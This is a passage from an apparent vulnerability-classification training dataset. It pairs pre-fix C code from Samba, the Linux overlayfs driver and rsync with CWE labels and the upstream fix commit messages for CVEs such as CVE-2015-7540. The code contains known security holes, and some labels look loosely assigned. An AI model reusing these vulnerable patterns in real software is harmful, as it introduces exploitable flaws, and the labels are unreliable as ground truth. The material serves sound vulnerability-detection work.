ASN1_APPLICATION(LDAP_TAG_ModifyDNRequest));\n\t\tasn1_read_OctetString_talloc(msg, data, &r->dn);\n\t\tasn1_read_OctetString_talloc(msg, data, &r->newrdn);\n\t\tasn1_read_BOOLEAN(data, &r->deleteolddn);\n\t\tr->newsuperior = NULL;\n\t\tif (asn1_tag_remaining(data) > 0) {\n\t\t\tint len;\n\t\t\tchar *newsup;\n\t\t\tasn1_start_tag(data, ASN1_CONTEXT_SIMPLE(0));\n\t\t\tlen = asn1_tag_remaining(data);\n\t\t\tif (len == -1) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t\t}\n\t\t\tnewsup = talloc_array(msg, char, len+1);\n\t\t\tif (newsup == NULL) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\t\t\tasn1_read(data, newsup, len);\n\t\t\tnewsup[len] = '\\0';\n\t\t\tr->newsuperior = newsup;\n\t\t\tasn1_end_tag(data);\n\t\t}\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_ModifyDNResponse): {\n\t\tstruct ldap_Result *r = &msg->r.ModifyDNResponse;\n\t\tmsg->type = LDAP_TAG_ModifyDNResponse;\n\t\tasn1_start_tag(data, tag);\n\t\tldap_decode_response(msg, data, r);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_CompareRequest): {\n\t\tstruct ldap_CompareRequest *r = &msg->r.CompareRequest;\n\t\tmsg->type = LDAP_TAG_CompareRequest;\n\t\tasn1_start_tag(data,\n\t\t\t ASN1_APPLICATION(LDAP_TAG_CompareRequest));\n\t\tasn1_read_OctetString_talloc(msg, data, &r->dn);\n\t\tasn1_start_tag(data, ASN1_SEQUENCE(0));\n\t\tasn1_read_OctetString_talloc(msg, data, &r->attribute);\n\t\tasn1_read_OctetString(data, msg, &r->value);\n\t\tif (r->value.data) {\n\t\t\ttalloc_steal(msg, r->value.data);\n\t\t}\n\t\tasn1_end_tag(data);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_CompareResponse): {\n\t\tstruct ldap_Result *r = &msg->r.CompareResponse;\n\t\tmsg->type = LDAP_TAG_CompareResponse;\n\t\tasn1_start_tag(data, tag);\n\t\tldap_decode_response(msg, data, r);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION_SIMPLE(LDAP_TAG_AbandonRequest): {\n\t\tstruct ldap_AbandonRequest *r = &msg->r.AbandonRequest;\n\t\tmsg->type = LDAP_TAG_AbandonRequest;\n\t\tasn1_start_tag(data, tag);\n\t\tasn1_read_implicit_Integer(data, &r->messageid);\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_ExtendedRequest): {\n\t\tstruct ldap_ExtendedRequest *r = &msg->r.ExtendedRequest;\n\t\tDATA_BLOB tmp_blob = data_blob(NULL, 0);\n\n\t\tmsg->type = LDAP_TAG_ExtendedRequest;\n\t\tasn1_start_tag(data,tag);\n\t\tif (!asn1_read_ContextSimple(data, 0, &tmp_blob)) {\n\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t}\n\t\tr->oid = blob2string_talloc(msg, tmp_blob);\n\t\tdata_blob_free(&tmp_blob);\n\t\tif (!r->oid) {\n\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t}\n\n\t\tif (asn1_peek_tag(data, ASN1_CONTEXT_SIMPLE(1))) {\n\t\t\tasn1_read_ContextSimple(data, 1, &tmp_blob);\n\t\t\tr->value = talloc(msg, DATA_BLOB);\n\t\t\tif (!r->value) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\t\t\t*r->value = data_blob_talloc(r->value, tmp_blob.data, tmp_blob.length);\n\t\t\tdata_blob_free(&tmp_blob);\n\t\t} else {\n\t\t\tr->value = NULL;\n\t\t}\n\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\n\tcase ASN1_APPLICATION(LDAP_TAG_ExtendedResponse): {\n\t\tstruct ldap_ExtendedResponse *r = &msg->r.ExtendedResponse;\n\t\tDATA_BLOB tmp_blob = data_blob(NULL, 0);\n\n\t\tmsg->type = LDAP_TAG_ExtendedResponse;\n\t\tasn1_start_tag(data, tag);\t\t\n\t\tldap_decode_response(msg, data, &r->response);\n\n\t\tif (asn1_peek_tag(data, ASN1_CONTEXT_SIMPLE(10))) {\n\t\t\tasn1_read_ContextSimple(data, 1, &tmp_blob);\n\t\t\tr->oid = blob2string_talloc(msg, tmp_blob);\n\t\t\tdata_blob_free(&tmp_blob);\n\t\t\tif (!r->oid) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\t\t} else {\n\t\t\tr->oid = NULL;\n\t\t}\n\n\t\tif (asn1_peek_tag(data, ASN1_CONTEXT_SIMPLE(11))) {\n\t\t\tasn1_read_ContextSimple(data, 1, &tmp_blob);\n\t\t\tr->value = talloc(msg, DATA_BLOB);\n\t\t\tif (!r->value) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\t\t\t*r->value = data_blob_talloc(r->value, tmp_blob.data, tmp_blob.length);\n\t\t\tdata_blob_free(&tmp_blob);\n\t\t} else {\n\t\t\tr->value = NULL;\n\t\t}\n\n\t\tasn1_end_tag(data);\n\t\tbreak;\n\t}\n\tdefault: \n\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t}\n\n\tmsg->controls = NULL;\n\tmsg->controls_decoded = NULL;\n\n\tif (asn1_peek_tag(data, ASN1_CONTEXT(0))) {\n\t\tint i = 0;\n\t\tstruct ldb_control **ctrl = NULL;\n\t\tbool *decoded = NULL;\n\n\t\tasn1_start_tag(data, ASN1_CONTEXT(0));\n\n\t\twhile (asn1_peek_tag(data, ASN1_SEQUENCE(0))) {\n\t\t\tDATA_BLOB value;\n\t\t\t/* asn1_start_tag(data, ASN1_SEQUENCE(0)); */\n\n\t\t\tctrl = talloc_realloc(msg, ctrl, struct ldb_control *, i+2);\n\t\t\tif (!ctrl) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\n\t\t\tdecoded = talloc_realloc(msg, decoded, bool, i+1);\n\t\t\tif (!decoded) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\n\t\t\tctrl[i] = talloc(ctrl, struct ldb_control);\n\t\t\tif (!ctrl[i]) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_OPERATIONS_ERROR);\n\t\t\t}\n\n\t\t\tif (!ldap_decode_control_wrapper(ctrl[i], data, ctrl[i], &value)) {\n\t\t\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t\t\t}\n\t\t\t\n\t\t\tif (!ldap_decode_control_value(ctrl[i], value,\n\t\t\t\t\t\t control_handlers,\n\t\t\t\t\t\t ctrl[i])) {\n\t\t\t\tif (ctrl[i]->critical) {\n\t\t\t\t\tctrl[i]->data = NULL;\n\t\t\t\t\tdecoded[i] = false;\n\t\t\t\t\ti++;\n\t\t\t\t} else {\n\t\t\t\t\ttalloc_free(ctrl[i]);\n\t\t\t\t\tctrl[i] = NULL;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdecoded[i] = true;\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\n\t\tif (ctrl != NULL) {\n\t\t\tctrl[i] = NULL;\n\t\t}\n\n\t\tmsg->controls = ctrl;\n\t\tmsg->controls_decoded = decoded;\n\n\t\tasn1_end_tag(data);\n\t}\n\n\tasn1_end_tag(data);\n\tif ((data->has_error) || (data->nesting != NULL)) {\n\t\treturn NT_STATUS_LDAP(LDAP_PROTOCOL_ERROR);\n\t}\n\treturn NT_STATUS_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'CVE-2015-7540: s4: libcli: ldap message - Ensure all asn1_XX returns are checked.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=9187\n\nSigned-off-by: Jeremy Allison \nReviewed-by: Ronnie Sahlberg \n\nAutobuild-User(master): Jeremy Allison \nAutobuild-Date(master): Fri Sep 26 03:15:00 CEST 2014 on sn-devel-104\n\n(cherry picked from commit 69a7e3cfdc8dbba9c8dcfdfae82d2894c7247e15)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool asn1_write_LDAPString(struct asn1_data *data, const char *s)\n{\n\tasn1_write(data, s, strlen(s));\n\treturn !data->has_error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'CVE-2015-7540: lib: util: Check *every* asn1 return call and early return.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=9187\n\nSigned-off-by: Jeremy Allison \nReviewed-by: Volker Lendecke \n\nAutobuild-User(master): Jeremy Allison \nAutobuild-Date(master): Fri Sep 19 01:29:00 CEST 2014 on sn-devel-104\n\n(cherry picked from commit b9d3fd4cc551df78a7b066ee8ce43bbaa3ff994a)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool asn1_check_enumerated(struct asn1_data *data, int v)\n{\n\tuint8_t b;\n\tif (!asn1_start_tag(data, ASN1_ENUMERATED)) return false;\n\tasn1_read_uint8(data, &b);\n\tasn1_end_tag(data);\n\n\tif (v != b)\n\t\tdata->has_error = false;\n\n\treturn !data->has_error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'CVE-2015-7540: lib: util: Check *every* asn1 return call and early return.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=9187\n\nSigned-off-by: Jeremy Allison \nReviewed-by: Volker Lendecke \n\nAutobuild-User(master): Jeremy Allison \nAutobuild-Date(master): Fri Sep 19 01:29:00 CEST 2014 on sn-devel-104\n\n(cherry picked from commit b9d3fd4cc551df78a7b066ee8ce43bbaa3ff994a)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SMBC_server_internal(TALLOC_CTX *ctx,\n SMBCCTX *context,\n bool connect_if_not_found,\n const char *server,\n uint16_t port,\n const char *share,\n char **pp_workgroup,\n char **pp_username,\n char **pp_password,\n\t bool *in_cache)\n{\n\tSMBCSRV *srv=NULL;\n\tchar *workgroup = NULL;\n\tstruct cli_state *c = NULL;\n\tconst char *server_n = server;\n int is_ipc = (share != NULL && strcmp(share, \"IPC$\") == 0);\n\tuint32_t fs_attrs = 0;\n const char *username_used;\n \tNTSTATUS status;\n\tchar *newserver, *newshare;\n\tint flags = 0;\n\tstruct smbXcli_tcon *tcon = NULL;\n\n\tZERO_STRUCT(c);\n\t*in_cache = false;\n\n\tif (server[0] == 0) {\n\t\terrno = EPERM;\n\t\treturn NULL;\n\t}\n\n /* Look for a cached connection */\n srv = SMBC_find_server(ctx, context, server, share,\n pp_workgroup, pp_username, pp_password);\n\n /*\n * If we found a connection and we're only allowed one share per\n * server...\n */\n if (srv &&\n\t share != NULL && *share != '\\0' &&\n smbc_getOptionOneSharePerServer(context)) {\n\n /*\n * ... then if there's no current connection to the share,\n * connect to it. SMBC_find_server(), or rather the function\n * pointed to by context->get_cached_srv_fn which\n * was called by SMBC_find_server(), will have issued a tree\n * disconnect if the requested share is not the same as the\n * one that was already connected.\n */\n\n\t\t/*\n\t\t * Use srv->cli->desthost and srv->cli->share instead of\n\t\t * server and share below to connect to the actual share,\n\t\t * i.e., a normal share or a referred share from\n\t\t * 'msdfs proxy' share.\n\t\t */\n if (!cli_state_has_tcon(srv->cli)) {\n /* Ensure we have accurate auth info */\n\t\t\tSMBC_call_auth_fn(ctx, context,\n\t\t\t\t\t smbXcli_conn_remote_name(srv->cli->conn),\n\t\t\t\t\t srv->cli->share,\n pp_workgroup,\n pp_username,\n pp_password);\n\n\t\t\tif (!*pp_workgroup || !*pp_username || !*pp_password) {\n\t\t\t\terrno = ENOMEM;\n\t\t\t\tcli_shutdown(srv->cli);\n\t\t\t\tsrv->cli = NULL;\n\t\t\t\tsmbc_getFunctionRemoveCachedServer(context)(context,\n srv);\n\t\t\t\treturn NULL;\n\t\t\t}\n\n\t\t\t/*\n\t\t\t * We don't need to renegotiate encryption\n\t\t\t * here as the encryption context is not per\n\t\t\t * tid.\n\t\t\t */\n\n\t\t\tstatus = cli_tree_connect(srv->cli,\n\t\t\t\t\t\t srv->cli->share,\n\t\t\t\t\t\t \"?????\",\n\t\t\t\t\t\t *pp_password,\n\t\t\t\t\t\t strlen(*pp_password)+1);\n\t\t\tif (!NT_STATUS_IS_OK(status)) {\n errno = map_errno_from_nt_status(status);\n cli_shutdown(srv->cli);\n\t\t\t\tsrv->cli = NULL;\n smbc_getFunctionRemoveCachedServer(context)(context,\n srv);\n srv = NULL;\n }\n\n /* Determine if this share supports case sensitivity */\n if (is_ipc) {\n DEBUG(4,\n (\"IPC$ so ignore case sensitivity\\n\"));\n status = NT_STATUS_OK;\n } else {\n status = cli_get_fs_attr_info(c, &fs_attrs);\n }\n\n if (!NT_STATUS_IS_OK(status)) {\n DEBUG(4, (\"Could not retrieve \"\n \"case sensitivity flag: %s.\\n\",\n nt_errstr(status)));\n\n /*\n * We can't determine the case sensitivity of\n * the share. We have no choice but to use the\n * user-specified case sensitivity setting.\n */\n if (smbc_getOptionCaseSensitive(context)) {\n cli_set_case_sensitive(c, True);\n } else {\n cli_set_case_sensitive(c, False);\n }\n } else if (!is_ipc) {\n DEBUG(4,\n (\"Case sensitive: %s\\n\",\n (fs_attrs & FILE_CASE_SENSITIVE_SEARCH\n ? \"True\"\n : \"False\")));\n cli_set_case_sensitive(\n c,\n (fs_attrs & FILE_CASE_SENSITIVE_SEARCH\n ? True\n : False));\n }\n\n /*\n * Regenerate the dev value since it's based on both\n * server and share\n */\n if (srv) {\n\t\t\t\tconst char *remote_name =\n\t\t\t\t\tsmbXcli_conn_remote_name(srv->cli->conn);\n\n\t\t\t\tsrv->dev = (dev_t)(str_checksum(remote_name) ^\n str_checksum(srv->cli->share));\n }\n }\n }\n\n /* If we have a connection... */\n if (srv) {\n\n /* ... then we're done here. Give 'em what they came for. */\n\t\t*in_cache = true;\n goto done;\n }\n\n /* If we're not asked to connect when a connection doesn't exist... */\n if (! connect_if_not_found) {\n /* ... then we're done here. */\n return NULL;\n }\n\n\tif (!*pp_workgroup || !*pp_username || !*pp_password) {\n\t\terrno = ENOMEM;\n\t\treturn NULL;\n\t}\n\n\tDEBUG(4,(\"SMBC_server: server_n=[%s] server=[%s]\\n\", server_n, server));\n\n\tDEBUG(4,(\" -> server_n=[%s] server=[%s]\\n\", server_n, server));\n\n\tstatus = NT_STATUS_UNSUCCESSFUL;\n\n\tif (smbc_getOptionUseKerberos(context)) {\n\t\tflags |= CLI_FULL_CONNECTION_USE_KERBEROS;\n\t}\n\n\tif (smbc_getOptionFallbackAfterKerberos(context)) {\n\t\tflags |= CLI_FULL_CONNECTION_FALLBACK_AFTER_KERBEROS;\n\t}\n\n\tif (smbc_getOptionUseCCache(context)) {\n\t\tflags |= CLI_FULL_CONNECTION_USE_CCACHE;\n\t}\n\n\tif (smbc_getOptionUseNTHash(context)) {\n\t\tflags |= CLI_FULL_CONNECTION_USE_NT_HASH;\n\t}\n\n\tif (port == 0) {\n\t if (share == NULL || *share == '\\0' || is_ipc) {\n\t\t\t/*\n\t\t\t * Try 139 first for IPC$\n\t\t\t */\n\t\t\tstatus = cli_connect_nb(server_n, NULL, NBT_SMB_PORT, 0x20,\n\t\t\t\t\tsmbc_getNetbiosName(context),\n\t\t\t\t\tSMB_SIGNING_DEFAULT, flags, &c);\n\t\t}\n\t}\n\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\t/*\n\t\t * No IPC$ or 139 did not work\n\t\t */\n\t\tstatus = cli_connect_nb(server_n, NULL, port, 0x20,\n\t\t\t\t\tsmbc_getNetbiosName(context),\n\t\t\t\t\tSMB_SIGNING_DEFAULT, flags, &c);\n\t}\n\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\terrno = map_errno_from_nt_status(status);\n\t\treturn NULL;\n\t}\n\n\tcli_set_timeout(c, smbc_getTimeout(context));\n\n\tstatus = smbXcli_negprot(c->conn, c->timeout,\n\t\t\t\t lp_client_min_protocol(),\n\t\t\t\t lp_client_max_protocol());\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tcli_shutdown(c);\n\t\terrno = ETIMEDOUT;\n\t\treturn NULL;\n\t}\n\n\tif (smbXcli_conn_protocol(c->conn) >= PROTOCOL_SMB2_02) {\n\t\t/* Ensure we ask for some initial credits. */\n\t\tsmb2cli_conn_set_max_credits(c->conn, DEFAULT_SMB2_MAX_CREDITS);\n\t}\n\n username_used = *pp_username;\n\n\tif (!NT_STATUS_IS_OK(cli_session_setup(c, username_used,\n\t\t\t\t\t *pp_password,\n strlen(*pp_password),\n\t\t\t\t\t *pp_password,\n strlen(*pp_password),\n\t\t\t\t\t *pp_workgroup))) {\n\n /* Failed. Try an anonymous login, if allowed by flags. */\n username_used = \"\";\n\n if (smbc_getOptionNoAutoAnonymousLogin(context) ||\n !NT_STATUS_IS_OK(cli_session_setup(c, username_used,\n *pp_password, 1,\n *pp_password, 0,\n *pp_workgroup))) {\n\n cli_shutdown(c);\n errno = EPERM;\n return NULL;\n }\n\t}\n\n\tDEBUG(4,(\" session setup ok\\n\"));\n\n\t/* here's the fun part....to support 'msdfs proxy' shares\n\t (on Samba or windows) we have to issues a TRANS_GET_DFS_REFERRAL\n\t here before trying to connect to the original share.\n\t cli_check_msdfs_proxy() will fail if it is a normal share. */\n\n\tif (smbXcli_conn_dfs_supported(c->conn) &&\n\t\t\tcli_check_msdfs_proxy(ctx, c, share,\n\t\t\t\t&newserver, &newshare,\n\t\t\t\t/* FIXME: cli_check_msdfs_proxy() does\n\t\t\t\t not support smbc_smb_encrypt_level type */\n\t\t\t\tcontext->internal->smb_encryption_level ?\n\t\t\t\t\ttrue : false,\n\t\t\t\t*pp_username,\n\t\t\t\t*pp_password,\n\t\t\t\t*pp_workgroup)) {\n\t\tcli_shutdown(c);\n\t\tsrv = SMBC_server_internal(ctx, context, connect_if_not_found,\n\t\t\t\tnewserver, port, newshare, pp_workgroup,\n\t\t\t\tpp_username, pp_password, in_cache);\n\t\tTALLOC_FREE(newserver);\n\t\tTALLOC_FREE(newshare);\n\t\treturn srv;\n\t}\n\n\t/* must be a normal share */\n\n\tstatus = cli_tree_connect(c, share, \"?????\", *pp_password,\n\t\t\t\t strlen(*pp_password)+1);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\terrno = map_errno_from_nt_status(status);\n\t\tcli_shutdown(c);\n\t\treturn NULL;\n\t}\n\n\tDEBUG(4,(\" tconx ok\\n\"));\n\n\tif (smbXcli_conn_protocol(c->conn) >= PROTOCOL_SMB2_02) {\n\t\ttcon = c->smb2.tcon;\n\t} else {\n\t\ttcon = c->smb1.tcon;\n\t}\n\n /* Determine if this share supports case sensitivity */\n\tif (is_ipc) {\n DEBUG(4, (\"IPC$ so ignore case sensitivity\\n\"));\n status = NT_STATUS_OK;\n } else {\n status = cli_get_fs_attr_info(c, &fs_attrs);\n }\n\n if (!NT_STATUS_IS_OK(status)) {\n DEBUG(4, (\"Could not retrieve case sensitivity flag: %s.\\n\",\n nt_errstr(status)));\n\n /*\n * We can't determine the case sensitivity of the share. We\n * have no choice but to use the user-specified case\n * sensitivity setting.\n */\n if (smbc_getOptionCaseSensitive(context)) {\n cli_set_case_sensitive(c, True);\n } else {\n cli_set_case_sensitive(c, False);\n }\n\t} else if (!is_ipc) {\n DEBUG(4, (\"Case sensitive: %s\\n\",\n (fs_attrs & FILE_CASE_SENSITIVE_SEARCH\n ? \"True\"\n : \"False\")));\n\t\tsmbXcli_tcon_set_fs_attributes(tcon, fs_attrs);\n }\n\n\tif (context->internal->smb_encryption_level) {\n\t\t/* Attempt UNIX smb encryption. */\n\t\tif (!NT_STATUS_IS_OK(cli_force_encryption(c,\n username_used,\n *pp_password,\n *pp_workgroup))) {\n\n\t\t\t/*\n\t\t\t * context->smb_encryption_level == 1\n\t\t\t * means don't fail if encryption can't be negotiated,\n\t\t\t * == 2 means fail if encryption can't be negotiated.\n\t\t\t */\n\n\t\t\tDEBUG(4,(\" SMB encrypt failed\\n\"));\n\n\t\t\tif (context->internal->smb_encryption_level == 2) {\n\t cli_shutdown(c);\n\t\t\t\terrno = EPERM;\n\t\t\t\treturn NULL;\n\t\t\t}\n\t\t}\n\t\tDEBUG(4,(\" SMB encrypt ok\\n\"));\n\t}\n\n\t/*\n\t * Ok, we have got a nice connection\n\t * Let's allocate a server structure.\n\t */\n\n\tsrv = SMB_MALLOC_P(SMBCSRV);\n\tif (!srv) {\n\t\tcli_shutdown(c);\n\t\terrno = ENOMEM;\n\t\treturn NULL;\n\t}\n\n\tZERO_STRUCTP(srv);\n\tsrv->cli = c;\n\tsrv->dev = (dev_t)(str_checksum(server) ^ str_checksum(share));\n srv->no_pathinfo = False;\n srv->no_pathinfo2 = False;\n\tsrv->no_pathinfo3 = False;\n srv->no_nt_session = False;\n\ndone:\n\tif (!pp_workgroup || !*pp_workgroup || !**pp_workgroup) {\n\t\tworkgroup = talloc_strdup(ctx, smbc_getWorkgroup(context));\n\t} else {\n\t\tworkgroup = *pp_workgroup;\n\t}\n\tif(!workgroup) {\n\t\tif (c != NULL) {\n\t\t\tcli_shutdown(c);\n\t\t}\n\t\tSAFE_FREE(srv);\n\t\treturn NULL;\n\t}\n\n\t/* set the credentials to make DFS work */\n\tsmbc_set_credentials_with_fallback(context,\n\t\t\t\t\t workgroup,\n\t\t\t\t \t *pp_username,\n\t\t\t\t \t *pp_password);\n\n\treturn srv;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'CVE-2015-5296: s3:libsmb: force signing when requiring encryption in SMBC_server_internal()\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=11536\n\nSigned-off-by: Stefan Metzmacher \nReviewed-by: Jeremy Allison '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ovl_setattr(struct dentry *dentry, struct iattr *attr)\n{\n\tint err;\n\tstruct dentry *upperdentry;\n\n\terr = ovl_want_write(dentry);\n\tif (err)\n\t\tgoto out;\n\n\tupperdentry = ovl_dentry_upper(dentry);\n\tif (upperdentry) {\n\t\tmutex_lock(&upperdentry->d_inode->i_mutex);\n\t\terr = notify_change(upperdentry, attr, NULL);\n\t\tmutex_unlock(&upperdentry->d_inode->i_mutex);\n\t} else {\n\t\terr = ovl_copy_up_last(dentry, attr, false);\n\t}\n\tovl_drop_write(dentry);\nout:\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'ovl: fix permission checking for setattr\n\n[Al Viro] The bug is in being too enthusiastic about optimizing ->setattr()\naway - instead of \"copy verbatim with metadata\" + \"chmod/chown/utimes\"\n(with the former being always safe and the latter failing in case of\ninsufficient permissions) it tries to combine these two. Note that copyup\nitself will have to do ->setattr() anyway; _that_ is where the elevated\ncapabilities are right. Having these two ->setattr() (one to set verbatim\ncopy of metadata, another to do what overlayfs ->setattr() had been asked\nto do in the first place) combined is where it breaks.\n\nSigned-off-by: Miklos Szeredi \nCc: \nSigned-off-by: Al Viro '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct file_list *recv_file_list(int f)\n{\n\tstruct file_list *flist;\n\tint dstart, flags;\n\tint64 start_read;\n\n\tif (!first_flist) {\n\t\tif (show_filelist_p())\n\t\t\tstart_filelist_progress(\"receiving file list\");\n\t\telse if (inc_recurse && INFO_GTE(FLIST, 1) && !am_server)\n\t\t\trprintf(FCLIENT, \"receiving incremental file list\\n\");\n\t\trprintf(FLOG, \"receiving file list\\n\");\n\t\tif (usermap)\n\t\t\tparse_name_map(usermap, True);\n\t\tif (groupmap)\n\t\t\tparse_name_map(groupmap, False);\n\t}\n\n\tstart_read = stats.total_read;\n\n#ifdef SUPPORT_HARD_LINKS\n\tif (preserve_hard_links && !first_flist)\n\t\tinit_hard_links();\n#endif\n\n\tflist = flist_new(0, \"recv_file_list\");\n\n\tif (inc_recurse) {\n\t\tif (flist->ndx_start == 1)\n\t\t\tdir_flist = flist_new(FLIST_TEMP, \"recv_file_list\");\n\t\tdstart = dir_flist->used;\n\t} else {\n\t\tdir_flist = flist;\n\t\tdstart = 0;\n\t}\n\n\twhile ((flags = read_byte(f)) != 0) {\n\t\tstruct file_struct *file;\n\n\t\tif (protocol_version >= 28 && (flags & XMIT_EXTENDED_FLAGS))\n\t\t\tflags |= read_byte(f) << 8;\n\n\t\tif (flags == (XMIT_EXTENDED_FLAGS|XMIT_IO_ERROR_ENDLIST)) {\n\t\t\tint err;\n\t\t\tif (!use_safe_inc_flist) {\n\t\t\t\trprintf(FERROR, \"Invalid flist flag: %x\\n\", flags);\n\t\t\t\texit_cleanup(RERR_PROTOCOL);\n\t\t\t}\n\t\t\terr = read_varint(f);\n\t\t\tif (!ignore_errors)\n\t\t\t\tio_error |= err;\n\t\t\tbreak;\n\t\t}\n\n\t\tflist_expand(flist, 1);\n\t\tfile = recv_file_entry(f, flist, flags);\n\n\t\tif (S_ISREG(file->mode)) {\n\t\t\t/* Already counted */\n\t\t} else if (S_ISDIR(file->mode)) {\n\t\t\tif (inc_recurse) {\n\t\t\t\tflist_expand(dir_flist, 1);\n\t\t\t\tdir_flist->files[dir_flist->used++] = file;\n\t\t\t}\n\t\t\tstats.num_dirs++;\n\t\t} else if (S_ISLNK(file->mode))\n\t\t\tstats.num_symlinks++;\n\t\telse if (IS_DEVICE(file->mode))\n\t\t\tstats.num_symlinks++;\n\t\telse\n\t\t\tstats.num_specials++;\n\n\t\tflist->files[flist->used++] = file;\n\n\t\tmaybe_emit_filelist_progress(flist->used);\n\n\t\tif (DEBUG_GTE(FLIST, 2)) {\n\t\t\tchar *name = f_name(file, NULL);\n\t\t\trprintf(FINFO, \"recv_file_name(%s)\\n\", NS(name));\n\t\t}\n\t}\n\tfile_total += flist->used;\n\n\tif (DEBUG_GTE(FLIST, 2))\n\t\trprintf(FINFO, \"received %d names\\n\", flist->used);\n\n\tif (show_filelist_p())\n\t\tfinish_filelist_progress(flist);\n\n\tif (need_unsorted_flist) {\n\t\t/* Create an extra array of index pointers that we can sort for\n\t\t * the generator's use (for wading through the files in sorted\n\t\t * order and for calling flist_find()). We keep the \"files\"\n\t\t * list unsorted for our exchange of index numbers with the\n\t\t * other side (since their names may not sort the same). */\n\t\tif (!(flist->sorted = new_array(struct file_struct *, flist->used)))\n\t\t\tout_of_memory(\"recv_file_list\");\n\t\tmemcpy(flist->sorted, flist->files,\n\t\t flist->used * sizeof (struct file_struct*));\n\t\tif (inc_recurse && dir_flist->used > dstart) {\n\t\t\tstatic int dir_flist_malloced = 0;\n\t\t\tif (dir_flist_malloced < dir_flist->malloced) {\n\t\t\t\tdir_flist->sorted = realloc_array(dir_flist->sorted,\n\t\t\t\t\t\t\tstruct file_struct *,\n\t\t\t\t\t\t\tdir_flist->malloced);\n\t\t\t\tdir_flist_malloced = dir_flist->malloced;\n\t\t\t}\n\t\t\tmemcpy(dir_flist->sorted + dstart, dir_flist->files + dstart,\n\t\t\t (dir_flist->used - dstart) * sizeof (struct file_struct*));\n\t\t\tfsort(dir_flist->sorted + dstart, dir_flist->used - dstart);\n\t\t}\n\t} else {\n\t\tflist->sorted = flist->files;\n\t\tif (inc_recurse && dir_flist->used > dstart) {\n\t\t\tdir_flist->sorted = dir_flist->files;\n\t\t\tfsort(dir_flist->sorted + dstart, dir_flist->used - dstart);\n\t\t}\n\t}\n\n\tif (inc_recurse)\n\t\tflist_done_allocating(flist);\n\telse if (f >= 0) {\n\t\trecv_id_list(f, flist);\n\t\tflist_eof = 1;\n\t\tif (DEBUG_GTE(FLIST, 3))\n\t\t\trprintf(FINFO, \"[%s] flist_eof=1\\n\", who_am_i());\n\t}\n\n\t/* The --relative option sends paths with a leading slash, so we need\n\t * to specify the strip_root option here. We rejected leading slashes\n\t * for a non-relative transfer in recv_file_entry(). */\n\tflist_sort_and_clean(flist, relative_paths);\n\n\tif (protocol_version < 30) {\n\t\t/* Recv the io_error flag */\n\t\tint err = read_int(f);\n\t\tif (!ignore_errors)\n\t\t\tio_error |= err;\n\t} else if (inc_recurse && flist->ndx_start == 1) {\n\t\tif (!file_total || strcmp(flist->sorted[flist->low]->basename, \".\") != 0)\n\t\t\tflist->parent_ndx = 